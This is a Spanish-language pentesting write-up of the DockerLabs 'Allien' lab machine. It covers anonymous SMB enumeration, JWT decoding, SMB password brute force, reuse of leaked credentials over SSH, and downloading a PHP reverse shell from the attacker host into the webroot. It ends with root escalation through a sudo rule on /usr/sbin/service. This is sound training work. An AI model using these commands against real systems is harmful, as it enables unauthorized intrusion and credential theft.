> For the complete documentation index, see [llms.txt](https://itskode.gitbook.io/pentesting/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://itskode.gitbook.io/pentesting/dockerlabs/facil/allien.md).

# Allien

## Introduccion

En este laboratorio de DockerLabs se compromete una maquina Linux que expone SSH, HTTP y SMB.

La cadena empieza enumerando SMB con acceso anonimo. En el recurso `myshare` aparece `access.txt`, que contiene un JWT. Al decodificarlo se obtiene una pista hacia el usuario `satriani7`. Despues, la enumeracion de usuarios SMB confirma varias cuentas y una fuerza bruta controlada permite encontrar la password de `satriani7`.

Con esas credenciales se accede al recurso privado `backup24`, donde se descarga un archivo con credenciales internas. La password de `administrador` permite entrar por SSH. Desde ahi se sube una reverse shell PHP al directorio web, se obtiene una shell como `www-data` y se escala a `root` abusando de una regla `sudo` peligrosa sobre `/usr/sbin/service`.

***

## Reconocimiento

Se realiza un escaneo de versiones con Nmap:

```bash
nmap -sVCS -Pn -n -p- 172.17.0.2
```

<div align="center"><img src="/files/u5RIJ30a0UaSyEbStoYN" alt="Escaneo Nmap"></div>

El escaneo muestra cuatro puertos abiertos:

| Puerto  | Servicio | Version                    |
| ------- | -------- | -------------------------- |
| 22/tcp  | SSH      | OpenSSH 9.6p1 Ubuntu       |
| 80/tcp  | HTTP     | Apache httpd 2.4.58 Ubuntu |
| 139/tcp | SMB      | Samba smbd 4               |
| 445/tcp | SMB      | Samba smbd 4               |

El puerto 80 muestra una pagina de login, pero el vector mas directo empieza por SMB.

***

## Enumeracion SMB

Se listan recursos SMB sin credenciales:

```bash
smbclient -L //172.17.0.2 -N
```

<div align="center"><img src="/files/tBQhwxGdLicmv11i1rOU" alt="Listado SMB anonimo"></div>

Aparecen varios recursos interesantes:

| Recurso    | Comentario                           |
| ---------- | ------------------------------------ |
| `myshare`  | Carpeta compartida sin restricciones |
| `backup24` | Privado                              |
| `home`     | Produccion                           |

El recurso `myshare` permite acceso anonimo:

```bash
smbclient //172.17.0.2/myshare -N
ls
get access.txt
```

<div align="center"><img src="/files/JvaxwnSy7Jm1J7K1IZTP" alt="Descarga de access.txt por SMB"></div>

Al leer `access.txt` se observa una cadena con formato de token JWT:

```bash
cat access.txt
```

<div align="center"><img src="/files/iKdOQxTlYBRLfxOhJdcY" alt="Token JWT en access.txt"></div>

***

## Analisis del JWT

Se decodifica la primera parte del token con Base64:

```bash
echo "eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9" | base64 -d
```

<div align="center"><img src="/files/xHLXfUhgWLKyUNgKAzta" alt="Header JWT"></div>

El header indica que se trata de un JWT firmado con `RS256`:

```json
{"alg":"RS256","typ":"JWT"}
```

Tambien se decodifica el payload:

<div align="center"><img src="/files/FTBN0Q14gONPBwziDr1Q" alt="Payload JWT"></div>

El payload contiene un correo interesante:

```
satriani7@eseemeb.dl
```

De ese correo se extrae el posible usuario:

```
satriani7
```

***

## Usuarios y fuerza bruta SMB

Se enumeran usuarios del dominio SMB:

```bash
enum4linux -a 172.17.0.2
```

<div align="center"><img src="/files/anHK5xMnScGHV4zvs4bo" alt="Usuarios SMB"></div>

Aparecen varias cuentas:

```
usuario1
usuario3
administrador
usuario2
satriani7
```

Con el usuario `satriani7` se realiza fuerza bruta contra SMB usando `rockyou.txt`:

```bash
crackmapexec smb 172.17.0.2 -u satriani7 -p /usr/share/wordlists/rockyou.txt
```

<div align="center"><img src="/files/Fc4RgRQ51efvKTdp8oTh" alt="CrackMapExec SMB"></div>

Tras varios intentos fallidos, CrackMapExec encuentra una password valida:

<div align="center"><img src="/files/g9QIEpYgM4suRHuquOxv" alt="Password SMB de satriani7"></div>

Credenciales encontradas:

```
satriani7:50cent
```

***

## Recurso backup24

Con las credenciales de `satriani7` se accede al recurso `backup24`:

```bash
smbclient //172.17.0.2/backup24 -U satriani7
```

<div align="center"><img src="/files/aAOfSmxI0O1MLYuUKZMW" alt="backup24 por SMB"></div>

Dentro de `Documents\Personal` aparecen dos archivos:

```
credentials.txt
notes.txt
```

Se descargan ambos, y `credentials.txt` contiene credenciales internas:

```bash
cat credentials.txt
```

<div align="center"><img src="/files/tlGz0Pxp9srVIqemk59n" alt="Credenciales internas"></div>

Entre ellas aparece la cuenta de `administrador`:

```
administrador:Adm1nP4ss2024
```

***

## Acceso SSH

Se prueban las credenciales por SSH:

```bash
ssh administrador@172.17.0.2
```

<div align="center"><img src="/files/LFjkJvc96Q9MH0un1jyK" alt="SSH como administrador"></div>

El acceso funciona correctamente y se obtiene una shell como `administrador`.

Se comprueban permisos de `sudo` y binarios SUID:

```bash
sudo -l
find / -perm -4000 -type f 2>/dev/null
```

<div align="center"><img src="/files/RkUWvzVDdlysQHJyYtp5" alt="Enumeracion local como administrador"></div>

El usuario `administrador` no puede ejecutar comandos con `sudo`, y la busqueda SUID no muestra una via clara. Sin embargo, el usuario puede escribir en el directorio web `/var/www/html`.

***

## Reverse shell web

Desde `/var/www/html`, se descarga una reverse shell PHP servida desde la maquina atacante:

```bash
cd /var/www/html
wget http://172.17.0.1:8080/revshell.php
```

<div align="center"><img src="/files/L8JjgYncOx9LPXHmHzAv" alt="Descarga de revshell.php en webroot"></div>

Se ejecuta el archivo desde el navegador:

```
http://172.17.0.2/revshell.php
```

<div align="center"><img src="/files/gfyAbmeJNeXP7wEEe2HD" alt="Ejecucion de revshell.php"></div>

La conexion llega como `www-data`. Al revisar `sudo -l`, el usuario puede ejecutar `/usr/sbin/service` como root sin password:

```
(ALL) NOPASSWD: /usr/sbin/service
```

***

## Escalada a root

Se consulta GTFOBins para `service`:

<div align="center"><img src="/files/m5yRFm2nP38hiPlwHvrv" alt="GTFOBins service"></div>

La tecnica permite lanzar una shell usando una ruta relativa:

<div align="center"><img src="/files/k8BH8PXYtLbxH8NS22Ga" alt="Comando service para shell"></div>

La referencia completa indica que puede ejecutarse como usuario sin privilegios, y en este caso se combina con `sudo`:

<div align="center"><img src="/files/KiNsksuiZXzET1XsZcsL" alt="GTFOBins service completo"></div>

Se ejecuta:

```bash
sudo /usr/sbin/service ../../bin/sh
whoami
```

<div align="center"><img src="/files/6QH8GfcxMYSrleohDBPe" alt="Shell root con service"></div>

La salida confirma que la shell es de `root`.

***

## Resumen

La ruta completa de la maquina queda asi:

1. Escaneo con Nmap para identificar SSH, HTTP y SMB.
2. Enumeracion SMB anonima con `smbclient`.
3. Acceso a `myshare` y descarga de `access.txt`.
4. Decodificacion del JWT y obtencion del usuario `satriani7`.
5. Enumeracion de usuarios SMB.
6. Fuerza bruta SMB hasta obtener `satriani7:50cent`.
7. Acceso al recurso privado `backup24`.
8. Descarga de `credentials.txt` con credenciales internas.
9. Acceso SSH como `administrador`.
10. Subida de una reverse shell PHP a `/var/www/html`.
11. Shell como `www-data`.
12. Abuso de `sudo /usr/sbin/service` para obtener shell como `root`.


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://itskode.gitbook.io/pentesting/dockerlabs/facil/allien.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
